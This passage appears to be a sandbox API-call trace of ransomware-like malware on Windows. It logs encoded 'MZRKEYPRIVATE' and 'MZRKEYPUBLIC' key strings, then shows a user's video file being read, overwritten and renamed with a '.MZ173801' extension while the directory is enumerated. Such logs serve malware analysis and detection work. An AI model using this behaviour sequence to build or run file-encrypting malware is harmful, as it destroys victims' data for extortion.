McwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x3225fac, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", lpUsedDefaultChar=0x0) returned 2417 [0165.795] GetCurrentThreadId () returned 0xab4 [0165.795] GetCurrentThreadId () returned 0xab4 [0165.795] GetCurrentThreadId () returned 0xab4 [0165.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0165.795] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24a116c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0165.796] GetCurrentThreadId () returned 0xab4 [0165.796] GetCurrentThreadId () returned 0xab4 [0165.796] GetCurrentThreadId () returned 0xab4 [0165.796] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\13_UhdLxbGNJHYgey\\4NRYueZu34oKrb1iEn.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\13_uhdlxbgnjhygey\\4nryuezu34okrb1ien.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0165.796] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f474*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f474*=0) returned 0x0 [0165.796] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0165.796] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x11a1f [0165.796] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0165.796] ReadFile (in: hFile=0x27c, lpBuffer=0x24a8f70, nNumberOfBytesToRead=0x11a1f, lpNumberOfBytesRead=0x19f480, lpOverlapped=0x0 | out: lpBuffer=0x24a8f70*, lpNumberOfBytesRead=0x19f480*=0x11a1f, lpOverlapped=0x0) returned 1 [0165.962] CloseHandle (hObject=0x27c) returned 1 [0165.963] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\13_UhdLxbGNJHYgey\\4NRYueZu34oKrb1iEn.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\13_uhdlxbgnjhygey\\4nryuezu34okrb1ien.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0165.966] WriteFile (in: hFile=0x27c, lpBuffer=0x24bafa0*, nNumberOfBytesToWrite=0x11a1f, lpNumberOfBytesWritten=0x19f48c, lpOverlapped=0x0 | out: lpBuffer=0x24bafa0*, lpNumberOfBytesWritten=0x19f48c*=0x11a1f, lpOverlapped=0x0) returned 1 [0165.968] CloseHandle (hObject=0x27c) returned 1 [0165.975] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\13_UhdLxbGNJHYgey\\4NRYueZu34oKrb1iEn.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\13_uhdlxbgnjhygey\\4nryuezu34okrb1ien.mkv"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\13_UhdLxbGNJHYgey\\4NRYueZu34oKrb1iEn.mkv.MZ173801" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\13_uhdlxbgnjhygey\\4nryuezu34okrb1ien.mkv.mz173801")) returned 1 [0165.976] GetCurrentThreadId () returned 0xab4 [0165.976] GetCurrentThreadId () returned 0xab4 [0165.976] GetCurrentThreadId () returned 0xab4 [0165.976] GetCurrentThreadId () returned 0xab4 [0165.976] GetCurrentThreadId () returned 0xab4 [0165.976] GetCurrentThreadId () returned 0xab4 [0165.976] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3c03e2d0, ftCreationTime.dwHighDateTime=0x1d5e86b, ftLastAccessTime.dwLowDateTime=0xff6a9f50, ftLastAccessTime.dwHighDateTime=0x1d5e61f, ftLastWriteTime.dwLowDateTime=0xff6a9f50, ftLastWriteTime.dwHighDateTime=0x1d5e61f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="5DFJaZ09zxpj", cAlternateFileName="5DFJAZ~1")) returned 1 [0165.976] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26032cc0, ftCreationTime.dwHighDateTime=0x1d5e61d, ftLastAccessTime.dwLowDateTime=0x1c3854c0, ftLastAccessTime.dwHighDateTime=0x1d5e0d4, ftLastWriteTime.dwLowDateTime=0x1c3854c0, ftLastWriteTime.dwHighDateTime=0x1d5e0d4, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="7LaZ6FmIScNU.swf", cAlternateFileName="7LAZ6F~1.SWF")) returned 1 [0165.976] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0165.976] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0165.976] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\13_UhdLxbGNJHYgey\\7LaZ6FmIScNU.swf" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\13_uhdlxbgnjhygey\\7laz6fmiscnu.swf"), fInfoLevelId=0x0, lpFileInformation=0x19f4c0 | out: lpFileInformation=0x19f4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26032cc0, ftCreationTime.dwHighDateTime=0x1d5e61d, ftLastAccessTime.dwLowDateTime=0x1c3854c0, ftLastAccessTime.dwHighDateTime=0x1d5e0d4, ftLastWriteTime.dwLowDateTime=0x1c3854c0, ftLastWriteTime.dwHighDateTime=0x1d5e0d4, nFileSizeHigh=0x0, nFileSizeLow=0x61d)) returned 1 [0165.976] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\13_UhdLxbGNJHYgey\\7LaZ6FmIScNU.swf" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\13_uhdlxbgnjhygey\\7laz6fmiscnu.swf")) returned 0x20 [0165.976] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\13_UhdLxbGNJHYgey\\7LaZ6FmIScNU.swf", dwFileAttributes=0x80) returned 1 [0165.979] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0165.979] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x3225fac, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCu